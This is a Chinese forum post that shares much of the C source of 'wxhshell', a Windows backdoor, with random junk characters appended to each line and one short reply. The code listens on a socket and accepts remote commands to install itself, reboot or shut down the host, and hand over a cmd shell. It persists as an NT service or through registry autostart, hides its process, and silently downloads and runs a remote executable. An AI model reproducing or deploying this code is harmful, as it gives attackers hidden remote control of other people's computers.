  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /qdvzv%T  
  } {OG1' m6=/  
  else { D;sG9Hky  
0hY3vBQ!  
    switch(cmd[0]) { yp~z-aRa  
  ~n -N  
  // 帮助 gmp@ TY=:L  
  case '?': { rB J`=oz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Xl=RaV^X"  
    break; $YJ 1P  
  } Mg >%EH/'  
  // 安装 >{AE@@PB^  
  case 'i': { c@A.jc  
    if(Install()) (-ELxshd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RIkIE=+6  
    else 'c~SE>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vhMoCLb  
    break; nscnG5'{+  
    } 5,xPB5pK  
  // 卸载 ( yLu=  
  case 'r': { "Lvk?k )hx  
    if(Uninstall()) [l=@b4Og  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,RV>F_  
    else nLL2/!'n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .QY>@b\  
    break; i59 }6u_f  
    } -|x7<$Hw  
  // 显示 wxhshell 所在路径 -.Wwo(4  
  case 'p': { drpx"d[c  
    char svExeFile[MAX_PATH]; =LGM[Z3$s  
    strcpy(svExeFile,"\n\r"); n)N!6u  
      strcat(svExeFile,ExeFile); ,wf_o%'eW  
        send(wsh,svExeFile,strlen(svExeFile),0); ESviWCh0Fl  
    break; JbEEI(Q>g  
    } c ,#=In2  
  // 重启 `*[Kmb\  
  case 'b': { oW OR7)?r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !I|_vJ@<  
    if(Boot(REBOOT)) 5VE=Oo#&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .BjWZj  
    else { B<~AUf*y  
    closesocket(wsh); wmpQF<  
    ExitThread(0); qKSR5 #  
    } iK2f]h  
    break; WiH8j$;xu  
    } -8)C6"V{  
  // 关机 _)@G,E33f@  
  case 'd': { >07i"a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !UT!PX)  
    if(Boot(SHUTDOWN)) 2V 8 "jc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e O~p"d-|  
    else {  Ju5Dd\  
    closesocket(wsh); EFiVwH  
    ExitThread(0); ;\"5)S  
    } 5%wA"_  
    break; 9t`yv@.>N  
    } ty[%:eG#  
  // 获取shell Ud"_[JtGM  
  case 's': { <|'ETqP<+  
    CmdShell(wsh); ,or;8aYc#  
    closesocket(wsh); [-`s`g-  
    ExitThread(0); (4z_2a(Dl,  
    break; =f@71D1  
  } 2cu2S"r  
  // 退出 =H: N!!:  
  case 'x': { Obu 6k[BE.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =2*2 $  
    CloseIt(wsh); _e8Gt6>  
    break; l_2Xao$  
    } &n]v  
  // 离开 BZOl&G(  
  case 'q': { dJzaP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E*R-Dno_F  
    closesocket(wsh); /0`Eux\  
    WSACleanup(); nYC.zc*ox  
    exit(1); bfUKh%!M  
    break; j*?E~M.'1K  
        } ?gu!P:lZS  
  } GQ85ykky  
  } )EYs+7/t  
 "X=^MGV  
  // 提示信息 ZHwl9n#m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RK*tZ  
} 1z; !)pG.  
  } DZ`,QWuA  
|+~P; fG  
  return; O*2{V]Y @  
} +-x+c: IxA  
/_JR7BB^X,  
// shell模块句柄 jn]l!nm  
int CmdShell(SOCKET sock) WCaMPz  
{ 6wOj,}2Mn  
STARTUPINFO si; ui"`c%2n  
ZeroMemory(&si,sizeof(si)); 1C=42ZZ&2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^^V+0 l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zWN]#W`  
PROCESS_INFORMATION ProcessInfo; 0LGHSDb  
char cmdline[]="cmd"; X+;#^A3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ld%#.~Q  
  return 0; :\mdVS!o  
} <}mA>c'k  
g}?39?o4  
// 自身启动模式 8eCh5*_$  
int StartFromService(void) amQiH!}8R  
{ 'mv|6Y  
typedef struct _x-2tnIxXv  
{ R4D$)D  
  DWORD ExitStatus; XThU+s9  
  DWORD PebBaseAddress; ?!tO'}?  
  DWORD AffinityMask; lh\`9F:  
  DWORD BasePriority; uI)z4Z  
  ULONG UniqueProcessId; +CQIm!Sp  
  ULONG InheritedFromUniqueProcessId; #BEXj<m+J  
}   PROCESS_BASIC_INFORMATION; >0:=<RW  
|+-b#Sa9  
PROCNTQSIP NtQueryInformationProcess; p-oEoA  
D1]?f`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8XfOM f~d`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; svC m }`  
{6}$XLV3l  
  HANDLE             hProcess; (-o}'l'mo  
  PROCESS_BASIC_INFORMATION pbi; 1mv5B t  
fTy{`}>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '\pSUp  
  if(NULL == hInst ) return 0; 5:~ zlg  
n>o=RQ2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _Fkb$NJ"]Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 98|1K>C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %@I= $8j  
ip|l3m$Mi  
  if (!NtQueryInformationProcess) return 0; =m;cy0))  
HT_nxe`E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r"7 !J[u  
  if(!hProcess) return 0; .L)j ql%  
eH;{Ln  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C]zG@O !  
h-03]M#8=  
  CloseHandle(hProcess); ;P8.U(  
YRaF@?^Gn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2 I.Q-'@  
if(hProcess==NULL) return 0; Q9g^'a  
khP Ub,  
HMODULE hMod; Qoz4(~I  
char procName[255]; |l~#qeZ%  
unsigned long cbNeeded; pSx}:u^am  
?R@u'4yK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V4*/t#L/  
bM,%+9oz;  
  CloseHandle(hProcess); Z%{`j!!p  
}o=s"0a  
if(strstr(procName,"services")) return 1; // 以服务启动 3|Y.+W  
;%/}(&E2  
  return 0; // 注册表启动 ;0dl  
} ?,r}@89pY  
8Ai\T_l  
// 主模块 ,4H/>yPw  
int StartWxhshell(LPSTR lpCmdLine) H?cJ'Q, 5  
{ br%l>Y\"  
  SOCKET wsl; x". !&5  
BOOL val=TRUE; !yo@i_1D  
  int port=0; .)Zs:5 0l  
  struct sockaddr_in door; Ci_Qra 6  
8T?D#,/  
  if(wscfg.ws_autoins) Install(); FL E3LH  
o8h` 9_  
port=atoi(lpCmdLine); 7ro&Q%  
pj#ls  
if(port<=0) port=wscfg.ws_port; Z~1uyr(  
4~ i?xo=;v  
  WSADATA data; 6<mlx'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E4, J"T|@  
M2pFXU?]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Nk;ywC"e;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C2C 1 @=w  
  door.sin_family = AF_INET; W[<ZI>mf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nZ % %{#T7  
  door.sin_port = htons(port); 5jAS1XG  
%00cC~}4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (z  9M  
closesocket(wsl); )f,9 h  
return 1; m^gxEPJK  
} apZPHau6h  
}inV)QQ  
  if(listen(wsl,2) == INVALID_SOCKET) { C`qE ,2.  
closesocket(wsl); ,Q<mU4  
return 1; ~'v9/I-"  
} 7j8lhrM}^  
  Wxhshell(wsl); 53WCF[  
  WSACleanup(); __Zex5Y#-  
mx5#K\  
return 0; qP BOt;N  
)kDB*(?  
} nrg$V>pD  
2p~}<B  
// 以NT服务方式启动 V{UY_ e8W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V5'(op/  
{ pp@O6   
DWORD   status = 0; L%jIU<?Z7  
  DWORD   specificError = 0xfffffff; 3JEg3|M(  
 JKV&c= I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `BVXF#sb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3~1Gts  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 54].p7  
  serviceStatus.dwWin32ExitCode     = 0; fcO|0cQ  
  serviceStatus.dwServiceSpecificExitCode = 0; XAZPbvG|$  
  serviceStatus.dwCheckPoint       = 0; /j-c29nz  
  serviceStatus.dwWaitHint       = 0; HD'adj_,  
cx]H8]ch7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); //'&a-%$^  
  if (hServiceStatusHandle==0) return; +xd@un[r<  
'xLXj>  
status = GetLastError(); RsYMw3)G  
  if (status!=NO_ERROR) S)?N6sz%  
{ E0AbVa.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vXm'ARj  
    serviceStatus.dwCheckPoint       = 0; 7=/iFv[  
    serviceStatus.dwWaitHint       = 0; /cT6X]o8  
    serviceStatus.dwWin32ExitCode     = status; ZUkM8M$c  
    serviceStatus.dwServiceSpecificExitCode = specificError; C_Z/7x*>d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3 Ak'Ue  
    return; d$"?8r4:K  
  } &\%\"Zh  
""A6n{4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [bw1!X3  
  serviceStatus.dwCheckPoint       = 0; O?ODfO+>  
  serviceStatus.dwWaitHint       = 0; )-0+O=v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /_qHF-  
} #Vu;R5GZ}  
1'N<ITb  
// 处理NT服务事件,比如:启动、停止 v*OV\h.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !_FTy^@c2  
{ cyo[HI?WM  
switch(fdwControl) XFYa+]B2q  
{ *d`KD64  
case SERVICE_CONTROL_STOP: bp<,Xfl  
  serviceStatus.dwWin32ExitCode = 0; 3"juj '  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NeJ->x,  
  serviceStatus.dwCheckPoint   = 0; 'E&tEbY  
  serviceStatus.dwWaitHint     = 0;  AGm=0Om  
  { *?\u5O(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UVXSW*$  
  } w{t]^w:  
  return; mFeR~Bi>!  
case SERVICE_CONTROL_PAUSE: iL2__TO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5KP\#Y  
  break; OADW;fj  
case SERVICE_CONTROL_CONTINUE: Ot)S\s>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G<* Iw>ep  
  break; C1+f\A|9FP  
case SERVICE_CONTROL_INTERROGATE: .9N7`  
  break; >bd@2au9!  
}; ~sZ$`t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y+Hz(}4  
} D(OJr5Gg  
1$+8wDVwad  
// 标准应用程序主函数 R$+p4@?S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }LeS3\+UHl  
{ :t<S  
Bgn%d4W;G  
// 获取操作系统版本 vw4b@v-XQ3  
OsIsNt=GetOsVer(); ^Ua6.RH8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4$WR8  
?O3d Sxi  
  // 从命令行安装 <nb%$2r1  
  if(strpbrk(lpCmdLine,"iI")) Install(); \Z,{De%  
<&#MX  
  // 下载执行文件 k'k}/Hxub  
if(wscfg.ws_downexe) { Rj4C-X 4=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vQ]d?Tp  
  WinExec(wscfg.ws_filenam,SW_HIDE); ([ -i5  
} R}cNhZC  
ec`re+1r  
if(!OsIsNt) { +*Z'oCBJ,  
// 如果时win9x,隐藏进程并且设置为注册表启动 h!v< J  
HideProc(); ]Vmo >  
StartWxhshell(lpCmdLine); gO)":!_n W  
} zhm0 J-g  
else CJER&"em7  
  if(StartFromService()) a+cDH  
  // 以服务方式启动 gb|;]mk*"  
  StartServiceCtrlDispatcher(DispatchTable); IxS%V31  
else iPCCTs  
  // 普通方式启动 7~F~'V  
  StartWxhshell(lpCmdLine); xQ7U$QF|]  
1. +6x4%rV  
return 0; BjagG/ sX  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八